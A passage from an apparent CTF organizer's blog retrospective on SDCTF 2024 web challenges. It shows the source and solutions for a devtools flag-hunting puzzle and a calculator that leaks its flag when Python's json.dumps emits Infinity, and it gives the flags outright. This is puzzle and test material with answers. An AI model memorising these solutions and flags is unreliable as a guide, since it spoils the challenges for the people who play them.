<p><img src="../images/sdctf24/web/open-source/firefox-pretty.png" alt="Firefox tooltip: Can't pretty print generated sources with valid sourcemaps. Please use the original sources." /></p>

<p>It’s pretty interesting how a broken source map can disrupt devtools. Nonetheless, it’s pretty easy to disable them.</p>

<p><img src="../images/sdctf24/web/open-source/disable.png" alt="Chrome devtools command palette: Disable JavaScript source maps" /></p>

<p>Finally, I can set a breakpoint in the form <code class="language-plaintext highlighter-rouge">submit</code> event handler, try checking a flag on some random input, then evaluate the right-hand side of the <code class="language-plaintext highlighter-rouge">===</code> expression.</p>

<p><img src="../images/sdctf24/web/open-source/debugger.png" alt="Breakpoint set on flag checking line. The right-hand side is selected and evaluated in the console, revealing the flag: sdctf{not_particularly_interesting}" /></p>

<p>I didn’t think the challenge was particularly interesting, and I was feeling uncreative, so I just set the flag to <code class="language-plaintext highlighter-rouge">sdctf{not_particularly_interesting}</code>.</p>

<h3 id="retrospective-1">Retrospective</h3>

<p>Open Source quickly got dozens of solves after it was released, becoming one of the easiest challenges in the CTF. It actually wasn’t that hard, and that’s because this challenge is contingent on the player using devtools. But some seasoned CTF players might be more used to using the network log, so they will only see the minified code.</p>

<p>Most players saw the fake flag and were quick to find the actual minified code, so the fake source map ended up being a very minor part of the challenge.</p>

<p>Also, despite me trying to obfuscate <code class="language-plaintext highlighter-rouge">sdctf</code>, I completely forgot to obfuscate the <code class="language-plaintext highlighter-rouge">flag</code> in <code class="language-plaintext highlighter-rouge">console.log</code> and <code class="language-plaintext highlighter-rouge">alert</code> statements. This made it incredibly easy to just ctrl+F “flag” and find the part of the code responsible for the flag. And since all of the dependencies of the expression were right next to the function, rather than relying on a variable defined elsewhere in the minified code, you can just copy and paste the code in the console, and you won’t have to deal with any undefined variables.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">kS</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">a</span><span class="dl">'</span>
<span class="kd">var</span> <span class="nx">ES</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">c</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">OS</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">d</span><span class="dl">'</span>
<span class="kd">var</span> <span class="nx">M1</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">f</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">TS</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">g</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">CS</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">l</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">N3</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">n</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">A3</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">p</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">DS</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">s</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">RS</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">t</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">L3</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="dl">'</span><span class="s1">e</span><span class="dl">'</span><span class="p">,</span>
  <span class="nx">MS</span> <span class="o">=</span> <span class="p">{</span> <span class="na">not</span><span class="p">:</span> <span class="nx">N3</span><span class="p">,</span> <span class="na">particularly</span><span class="p">:</span> <span class="nx">A3</span><span class="p">,</span> <span class="na">interesting</span><span class="p">:</span> <span class="nx">L3</span> <span class="p">}</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span>
  <span class="p">[</span><span class="nx">DS</span><span class="p">,</span> <span class="nx">OS</span><span class="p">,</span> <span class="nx">ES</span><span class="p">,</span> <span class="nx">RS</span><span class="p">,</span> <span class="nx">M1</span><span class="p">,</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="s2">`{</span><span class="p">${</span><span class="nb">Object</span><span class="p">.</span><span class="nx">keys</span><span class="p">(</span><span class="nx">MS</span><span class="p">).</span><span class="nx">join</span><span class="p">(</span><span class="dl">'</span><span class="s1">_</span><span class="dl">'</span><span class="p">)}</span><span class="s2">}`</span><span class="p">]</span>
    <span class="p">.</span><span class="nx">map</span><span class="p">(</span><span class="nx">e</span> <span class="o">=&gt;</span> <span class="nx">e</span><span class="p">())</span>
    <span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">''</span><span class="p">)</span>
<span class="p">)</span>
<span class="c1">// -&gt; sdctf{not_particularly_interesting}</span>
</code></pre></div></div>

<p>Write ups:</p>

<ul>
  <li><a href="https://siunam321.github.io/ctf/San-Diego-CTF-2024/Web/open-source/">Siunam</a>: “What we’ve learned: Deobfuscate JavaScript code”</li>
</ul>

<p>I think deobfuscating JavaScript code is a useful skill, but my challenge isn’t a practical case of obfuscated JavaScript code. The most common form of JS obfuscation (beyond just minifcation) replaces most symbols with illegible hex variable names. It’s not too hard to deobfuscate it, at least partially enough to get what you want, since they also provide a decoder function. But that’s not what this challenge exposes you to.</p>

<p>I’m not sure if obfuscation is great for CTFs, mostly because it’s lazy challenge-making and puts unnecessary menial work on the players, while not being very insightful.</p>

<p>Still, by struggling with source maps while trying to prove my challenge was solvable in the <a href="#solution-1">solution</a>, I think that has shown me there is some potential in using source maps for future CTFs. But this challenge was pretty lazy and only exists to exist, and I don’t think I should make a similar challenge like this in the future.</p>

<h2 id="webcalculator">web/calculator</h2>

<p><img src="../images/sdctf24/web/calculator/landing.png" alt="Landing page for calculator challenge: &quot;calculate:&quot; followed by a text field" /></p>

<blockquote>
  <p><strong>calculator</strong>: 100 pts, 46 solves</p>

  <p><a href="https://github.com/acmucsd/sdctf-2024/tree/main/web/calculator">Download Attachment</a></p>

  <hr />

  <p><strong>Author:</strong> Sean<br /> <strong>Difficulty:</strong> Easy<br /> <strong>Category:</strong> Web</p>

  <hr />

  <p>I made a calculator! I’m using Python to do the math since I heard it’s strongly typed, so my calculator should be pretty safe. Download the source code by clicking the download button above!</p>
</blockquote>

<p>Like <a href="#webopen-source">web/open-source</a>, this challenge was released late. At 6 am, 11 hours into the CTF, I announced:</p>

<blockquote>
  <p>@Participant <em>two</em> web challenges just dropped! they’re both .. “easy” .. supposedly (<del>no web challenges have been solved yet</del> 💀 so who knows)</p>

  <p>👉 <strong>web/calculator</strong> has source files!! devour them as you please</p>

  <p>👉 <strong>web/open-source</strong> is also “open source” ,, just open inspect element and youll see all the code there for you! 😁</p>
</blockquote>

<p><a href="https://github.com/acmucsd/sdctf-2024/tree/main/web/calculator">GitHub source</a></p>

<h3 id="inspiration-2">Inspiration</h3>

<p>Learning Python, I’ve always been perturbed by many “features” (I don’t like Python). For example, Python always likes abbreviating their names to the point where they don’t really make sense at first class. For example, the <code class="language-plaintext highlighter-rouge">s</code> in <code class="language-plaintext highlighter-rouge">json.dumps</code> means string. Of course.</p>

<p>And <code class="language-plaintext highlighter-rouge">json.dumps</code> was also interesting because by default, it can output <code class="language-plaintext highlighter-rouge">NaN</code> and <code class="language-plaintext highlighter-rouge">Infinity</code>, neither of which are valid JSON, so most other parsers like JavaScript would fail on it. I’ve always wanted to try exploiting this difference in a CTF.</p>

<h3 id="development-2">Development</h3>

<p>I decided to have a JavaScript server that would run Python to evaluate an arithmetic expression, and it would only reveal a flag in the special case when <code class="language-plaintext highlighter-rouge">JSON.parse</code> fails. And since I started working on the challenge after the CTF started, I knew that open source challenges were much preferred, so I designed the server knowing all its files would be published as attachments to the challenge.</p>

<p>If anything, setting up the server was pretty straightforward. I copied Deno’s <a href="https://examples.deno.land/http-server-files">static server template</a> and my front-end code from <a href="#webopen-source">web/open-source</a>.</p>

<p>Evaluating expressions in Python was very straightforward. I didn’t really need to worry about making it foolproof because if it produced any errors, I would just directly report it to the client without giving the flag.</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">json</span>
<span class="kn">import</span> <span class="nn">sys</span>


<span class="k">def</span> <span class="nf">evaluate</span><span class="p">(</span><span class="n">expression</span><span class="p">):</span>
    <span class="k">if</span> <span class="s">"value"</span> <span class="ow">in</span> <span class="n">expression</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">expression</span><span class="p">[</span><span class="s">"value"</span><span class="p">]</span>
    <span class="n">match</span> <span class="n">expression</span><span class="p">[</span><span class="s">"op"</span><span class="p">]:</span>
        <span class="n">case</span> <span class="s">"+"</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">expression</span><span class="p">[</span><span class="s">"a"</span><span class="p">])</span> <span class="o">+</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">expression</span><span class="p">[</span><span class="s">"b"</span><span class="p">])</span>
        <span class="n">case</span> <span class="s">"-"</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">expression</span><span class="p">[</span><span class="s">"a"</span><span class="p">])</span> <span class="o">-</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">expression</span><span class="p">[</span><span class="s">"b"</span><span class="p">])</span>
        <span class="n">case</span> <span class="s">"*"</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">expression</span><span class="p">[</span><span class="s">"a"</span><span class="p">])</span> <span class="o">*</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">expression</span><span class="p">[</span><span class="s">"b"</span><span class="p">])</span>
        <span class="n">case</span> <span class="s">"/"</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">expression</span><span class="p">[</span><span class="s">"a"</span><span class="p">])</span> <span class="o">/</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">expression</span><span class="p">[</span><span class="s">"b"</span><span class="p">])</span>


<span class="k">print</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">dumps</span><span class="p">({</span><span class="s">"result"</span><span class="p">:</span> <span class="n">evaluate</span><span class="p">(</span><span class="n">json</span><span class="p">.</span><span class="n">loads</span><span class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]))}))</span>
</code></pre></div></div>

<p>In the Deno server, I would take the expression from the client and somehow parse it into an object.</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">export</span> <span class="kd">type</span> <span class="nx">Expression</span> <span class="o">=</span>
  <span class="o">|</span> <span class="p">{</span> <span class="na">op</span><span class="p">:</span> <span class="dl">'</span><span class="s1">+</span><span class="dl">'</span> <span class="o">|</span> <span class="dl">'</span><span class="s1">-</span><span class="dl">'</span> <span class="o">|</span> <span class="dl">'</span><span class="s1">*</span><span class="dl">'</span> <span class="o">|</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">;</span> <span class="nl">a</span><span class="p">:</span> <span class="nx">Expression</span><span class="p">;</span> <span class="nl">b</span><span class="p">:</span> <span class="nx">Expression</span> <span class="p">}</span>
  <span class="o">|</span> <span class="p">{</span> <span class="na">value</span><span class="p">:</span> <span class="kr">number</span> <span class="p">}</span>
</code></pre></div></div>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">body</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">req</span><span class="p">.</span><span class="nx">formData</span><span class="p">()</span>
<span class="kd">const</span> <span class="nx">expression</span> <span class="o">=</span> <span class="nx">body</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">expression</span><span class="dl">'</span><span class="p">)</span>

<span class="kd">const</span> <span class="nx">parsed</span> <span class="o">=</span> <span class="nx">parse</span><span class="p">(</span><span class="nx">expression</span><span class="p">)</span>
</code></pre></div></div>

<p>Then, I pass it to Python as JSON and get back the result from Python. If there is anything in Python’s stderr, I will report that instead of trying to parse Python’s JSON.</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">result</span> <span class="o">=</span> <span class="k">await</span> <span class="k">new</span> <span class="nx">Deno</span><span class="p">.</span><span class="nx">Command</span><span class="p">(</span><span class="dl">'</span><span class="s1">python3.11</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
  <span class="na">args</span><span class="p">:</span> <span class="p">[</span><span class="dl">'</span><span class="s1">calculate.py</span><span class="dl">'</span><span class="p">,</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">parsed</span><span class="p">)]</span>
<span class="p">}).</span><span class="nx">output</span><span class="p">()</span>
<span class="kd">const</span> <span class="nx">error</span> <span class="o">=</span> <span class="nx">decoder</span><span class="p">.</span><span class="nx">decode</span><span class="p">(</span><span class="nx">result</span><span class="p">.</span><span class="nx">stderr</span><span class="p">).</span><span class="nx">trim</span><span class="p">()</span>
<span class="kd">const</span> <span class="nx">json</span> <span class="o">=</span> <span class="nx">decoder</span><span class="p">.</span><span class="nx">decode</span><span class="p">(</span><span class="nx">result</span><span class="p">.</span><span class="nx">stdout</span><span class="p">).</span><span class="nx">trim</span><span class="p">()</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">error</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">output</span> <span class="o">=</span> <span class="nx">error</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It’s only if Python runs without error that it’ll try to parse it. I also made sure to check that it starts and ends with curly braces, in case Python prints out some weird non-JSON like <code class="language-plaintext highlighter-rouge">None</code>, an empty string, <code class="language-plaintext highlighter-rouge">null</code>, etc.</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="nx">json</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="dl">'</span><span class="s1">{</span><span class="dl">'</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nx">json</span><span class="p">.</span><span class="nx">endsWith</span><span class="p">(</span><span class="dl">'</span><span class="s1">}</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
  <span class="k">try</span> <span class="p">{</span>
    <span class="nx">output</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">json</span><span class="p">).</span><span class="nx">result</span>
    <span class="nx">success</span> <span class="o">=</span> <span class="kc">true</span>
  <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span>
    <span class="nx">output</span> <span class="o">=</span> <span class="s2">`wtf!!1! this shouldnt ever happen\n\n</span><span class="p">${</span>
      <span class="nx">error</span><span class="p">.</span><span class="nx">stack</span>
    <span class="p">}</span><span class="s2">\n\nheres the flag as compensation: </span><span class="p">${</span>
      <span class="nx">Deno</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">GZCTF_FLAG</span><span class="dl">'</span><span class="p">)</span> <span class="o">??</span> <span class="dl">'</span><span class="s1">sdctf{...}</span><span class="dl">'</span>
    <span class="p">}</span><span class="s2">`</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>All this code is available for the players, so this challenge makes it very obvious what they have to do: somehow make Python output invalid JSON, without making Python itself have a runtime error.</p>

<p>There’s just one thing left to do. Parsing expressions.</p>

<p><a href="https://scratch.mit.edu/projects/103966945/">I’ve parsed math expressions before.</a> In 2016, my approach was to break the expression up into tokens. Then, it would do multiple passes, iterating over the tokens and computing numbers on either side of <code class="language-plaintext highlighter-rouge">*</code> and <code class="language-plaintext highlighter-rouge">/</code> first before doing <code class="language-plaintext highlighter-rouge">+</code> and <code class="language-plaintext highlighter-rouge">-</code> on a second pass. I was too lazy to do that again (this approach gets more involved with parentheses).</p>

<p>I could also just restrict expressions to only have two operands. It would be much simpler, but my Python script can handle so much more, so it would be a shame to let that go to waste.</p>

<p>I asked ChatGPT for an expression parser. It gave me some pretty convincing code. Except it didn’t work.</p>

<p>Deno’s third party modules has an <a href="https://deno.land/x/applicative_parser@1.0.23">applicative_parser module</a>, which I’ve looked into before for parsing s-expressions. It seemed pretty convincing, except it couldn’t handle left-recursive grammars.</p>

<p>I ended up just writing a parser myself. I needed left-recursive grammars because my operations <code class="language-plaintext highlighter-rouge">+-*/</code> are evaluated from left to right. To get around this, I just consumed the input string from right to left. I used generators to lazily evaluate all possible parse results. Thanks, <a href="https://ucsd-cse230.github.io/fa23/">CSE 230</a>.</p>

<div class="language-ts highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// LitExpr = Float</span>
<span class="c1">//         | "(" AddExpr ")"</span>
<span class="kd">function</span> <span class="o">*</span> <span class="nx">parseLitExpr</span> <span class="p">(</span><span class="kr">string</span><span class="p">:</span> <span class="kr">string</span><span class="p">):</span> <span class="nx">ParseResult</span> <span class="p">{</span>
  <span class="k">yield</span> <span class="o">*</span> <span class="nb">parseFloat</span><span class="p">(</span><span class="kr">string</span><span class="p">)</span>
  <span class="k">if</span> <span class="p">(</span><span class="kr">string</span><span class="p">[</span><span class="kr">string</span><span class="p">.</span><span class="nx">length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">)</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">result</span> <span class="k">of</span> <span class="nx">parseAddExpr</span><span class="p">(</span><span class="kr">string</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">)))</span> <span class="p">{</span>
      <span class="k">if</span> <span class="p">(</span><span class="nx">result</span><span class="p">.</span><span class="kr">string</span><span class="p">[</span><span class="nx">result</span><span class="p">.</span><span class="kr">string</span><span class="p">.</span><span class="nx">length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">(</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">yield</span> <span class="p">{</span> <span class="p">...</span><span class="nx">result</span><span class="p">,</span> <span class="na">string</span><span class="p">:</span> <span class="nx">result</span><span class="p">.</span><span class="kr">string</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="c1">// MulExpr = MulExpr ("*" | "/") LitExpr</span>
<span class="c1">//         | LitExpr</span>
<span class="kd">function</span> <span class="o">*</span> <span class="nx">parseMulExpr</span> <span class="p">(</span><span class="kr">string</span><span class="p">:</span> <span class="kr">string</span><span class="p">):</span> <span class="nx">ParseResult</span> <span class="p">{</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">right</span> <span class="k">of</span> <span class="nx">parseLitExpr</span><span class="p">(</span><span class="kr">string</span><span class="p">))</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">op</span> <span class="o">=</span> <span class="nx">right</span><span class="p">.</span><span class="kr">string</span><span class="p">[</span><span class="nx">right</span><span class="p">.</span><span class="kr">string</span><span class="p">.</span><span class="nx">length</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">op</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">*</span><span class="dl">'</span> <span class="o">||</span> <span class="nx">op</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">left</span> <span class="k">of</span> <span class="nx">parseMulExpr</span><span class="p">(</span><span class="nx">right</span><span class="p">.</span><span class="kr">string</span><span class="p">.</span><span class="nx">slice</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">)))</span> <span class="p">{</span>
        <span class="k">yield</span> <span class="p">{</span> <span class="p">...</span><span class="nx">left</span><span class="p">,</span> <span class="na">expr</span><span class="p">:</span> <span class="p">{</span> <span class="nx">op</span><span class="p">,</span> <span class="na">a</span><span class="p">:</span> <span class="nx">left</span><span class="p">.</span><span class="nx">expr</span><span class="p">,</span> <span class="na">b</span><span class="p">:</span> <span class="nx">right</span><span class="p">.</span><span class="nx">expr</span> <span class="p">}</span> <span class="p">}</span>
      <span class="p">}</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">yield</span> <span class="o">*</span> <span class="nx">parseLitExpr</span><span class="p">(</span><span class="kr">string</span><span class="p">)</span>
<span class="p">}</span>

<span class="c1">// AddExpr = AddExpr ("+" | "-") MulExpr</span>
<span class="c1">//         | MulExpr</span>
</code></pre></div></div>

<p>That’s pretty cool, except parsing expressions was why I ended up going to bed at 08:30 that “night.”</p>

<h3 id="solution-2">Solution</h3>

<p>My solution is extremely straightforward: <code class="language-plaintext highlighter-rouge">1 / 5e-324</code>.</p>

<p><img src="../images/sdctf24/web/calculator/wtf.png" alt="wtf!!1! this shouldnt ever happen
SyntaxError: Unexpected token 'I', &quot;{&quot;result&quot;: Infinity}&quot; is not valid JSON
heres the flag as compensation: sdctf{...}" /></p>

<p>I was hoping to take advantage of another Python quirk here. Python is unusual compared to pretty much all other programming languages in that float division by zero is a runtime error, so you can’t just do <code class="language-plaintext highlighter-rouge">1.0 / 0.0</code>. However, dividing by the smallest positive double-precision floating point value still produces <code class="language-plaintext highlighter-rouge">inf</code> in Python. You can easily get this value by running <code class="language-plaintext highlighter-rouge">Number.MIN_VALUE</code> in JavaScript.</p>

<h3 id="retrospective-2">Retrospective</h3>

<p>Calculator also got many solves fairly quickly, which is good: it’s an actually easy challenge. The CTF had many challenges classified as “easy” but had fewer solves than some “hard” challenges, so I was worried these challenges were under that curse.</p>

<p>And there were fewer solves for web/calculator than web/open-source, which also made sense. Open Source just relies on manually digging through JavaScript code, while Calculator solely relies on Python quirks knowledge.</p>

<p>The most common issue people ran into with this challenge is that they managed to get Infinity, but on the JavaScript side. Their approach was to multiply together a bunch of large ints, like <code class="language-plaintext highlighter-rouge">99999 * 99999 * ... * 99999</code>.</p>

<p>The reason why this doesn’t work is because JavaScript will serialize each of these numbers as <code class="language-plaintext highlighter-rouge">99999</code>, rather than <code class="language-plaintext highlighter-rouge">99999.0</code>, because that’s how those numbers are stringified in JS. However, Python has a distinction between the two when parsing; <code class="language-plaintext highlighter-rouge">99999</code> becomes an <code class="language-plaintext highlighter-rouge">int</code>, while <code class="language-plaintext highlighter-rouge">99999.0</code> becomes a float.</p>

<p>Python <code class="language-plaintext highlighter-rouge">int</code> objects are equivalent to <code class="language-plaintext highlighter-rouge">BigInt</code> in JavaScript, so they can be multiplied ad nauseam without producing Infinity. Python will happily turn the int product back into a super long string of digits in JSON, which JavaScript can parse without throwing a syntax error. However, it’ll then cast the string of digits to a number (i.e. a float), so it becomes Infinity.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="s2">`{"result": </span><span class="p">${</span><span class="dl">'</span><span class="s1">9</span><span class="dl">'</span><span class="p">.</span><span class="nx">repeat</span><span class="p">(</span><span class="mi">400</span><span class="p">)}</span><span class="s2">}`</span><span class="p">)</span>
<span class="p">{</span><span class="nl">result</span><span class="p">:</span> <span class="kc">Infinity</span><span class="p">}</span>
</code></pre></div></div>

<p>The simplest fix to that problem would just be to force Python to cast the int to a float by multiplying by <code class="language-plaintext highlighter-rouge">1.0</code>.</p>

<p>Write ups:</p>

<ul>
  <li><a href="https://gist.github.com/ky28059/e8fc98d5b0be999b1409cc80a9077c54">@ky28059</a>: “This challenge is pretty trivial if you know about how Python’s <code class="language-plaintext highlighter-rouge">json.dumps</code> is JSON spec noncompliant. In particular, Python will successfully serialize <code class="language-plaintext highlighter-rouge">NaN</code> and <code class="language-plaintext highlighter-rouge">Infinity</code>, despite neither of those values being valid JSON.”</li>
  <li><a href="https://siunam321.github.io/ctf/San-Diego-CTF-2024/Web/calculator/">Siunam</a>: “For some weird reason? Python’s JSON library does NOT comply with RFC 4627’s infinity floating number.”</li>
</ul>

<p>I’m overall pretty happy about this challenge. It’s nice and simple, and introduced people to quirks with floats and Python. The source code was also provided.</p>

<p>That said, it’s possible people would rather see challenges based on potential vulnerabilities. For example, people seemed pretty interested in the other web challenges’ use of prototype pollution and DOMPurify intentionally not preventing CSS injections.</p>

<p>Python’s float quirks could result in a denial-of-service when it produces invalid JSON, but it’s otherwise just a piece of trivia and not particularly useful. I personally would rather come away from a challenge learning something more meaningful, like new approaches to CSS injections as seen in <a href="./2024-02-18-lactf.md#webquickstyle">LA CTF</a>.</p>

<h2 id="cryptoraccoonrun">crypto/RaccoonRun</h2>

<p>I didn’t write this challenge, but I did contribute to the front end.</p>

<p><img src="../images/sdctf24/crypto/RaccoonRun/bet.png" alt="The betting stage" /></p>

<p><img src="../images/sdctf24/crypto/RaccoonRun/race.png" alt="The raccons racing" /></p>

<p><img src="../images/sdctf24/crypto/RaccoonRun/blur.png" alt="Results modal" /></p>

<p>I’m not sure why we put so much effort into designing the front end and drawing raccoons since most solutions involved writing scripts to directly interface with the WebSocket backend. Oh well.</p>

<h2 id="summary">Summary</h2>

<p><a href="#webutf-wait">web/utf-wait</a> uses spec-noncompliant UTF-8 to avoid being decoded properly by most browsers and programming languages. I learned that it is indeed necessary to make clear how much brute forcing is allowed, that I should design my challenges so they can provide source code, and to make it more clear when things are randomized.</p>

<p><a href="#webopen-source">web/open-source</a> uses a source map to try to hide the real flag. I learned that there is more potential in using source maps for future challenges, and obfuscation challenges are pretty boring.</p>

<p><a href="#webcalculator">web/calculator</a> is my favorite challenge and relies on Python’s <code class="language-plaintext highlighter-rouge">json.dumps</code> producing invalid JSON for <code class="language-plaintext highlighter-rouge">inf</code> and <code class="language-plaintext highlighter-rouge">nan</code> values. I learned that providing source code makes the challenge more approachable and enjoyable.</p>

<p>On CTFtime, a <a href="https://ctftime.org/event/2325#c6455">commenter noted</a> that admins have acknowledged that they didn’t playtest challenges and some challenges were written during the CTF. That was probably me spewing stuff on the Discord. While it’s true that we should’ve managed our time better, and this was just one issue among many, maybe I should be a little more secretive next time about my shenanigans behind the scenes. 🤭</p>

<p>Another commenter said that <a href="https://ctftime.org/event/2325/weight">some web challenges were better fit for rev</a>. That might be in reference to web/utf-wait or even web/open-source, and I agree that they aren’t really web.</p>

<p>I still have some ideas that I came up with for this CTF but never finalized by the time it started. And now I think I have some more ideas I could explore. I’ll probably be around for next year’s SDCTF, so hopefully I’ll be better prepared then.</p>

<hr />
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p>Code values and code points are the same thing. I’m using code value because “value” more strongly implies that it’s just a number to me, rather than representing a character. <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p>And safe? I feel like in general, being too lenient can lead to some security holes, especially if it deviates from the norm. However, I can’t imagine a scenario where tolerating overlong encodings leads to a vulnerability, <!-- Hmm. --> so maybe it’s fine in this case. <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
      <p>I decided pretty early on that my challenge would be called “UTF—wait.” To explain the joke, it rhymes with UTF-8, and it’s like a double take when you or a text decoder encounters bytes similar to UTF-8 but aren’t valid UTF-8. <a href="#fnref:3" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:4" role="doc-endnote">
      <p>It probably does, but whatever. <a href="#fnref:4" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:10" role="doc-endnote">
      <p>The article links to <a href="https://developer.chrome.com/blog/sourcemaps#base64-vlq-and-keeping-the-source-map-small">this article</a> for explaining the “VLQ base64-encoded” stuff, which in turn links back to the first article because it was based on an outdated source map specification. 😵‍💫 <a href="#fnref:10" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
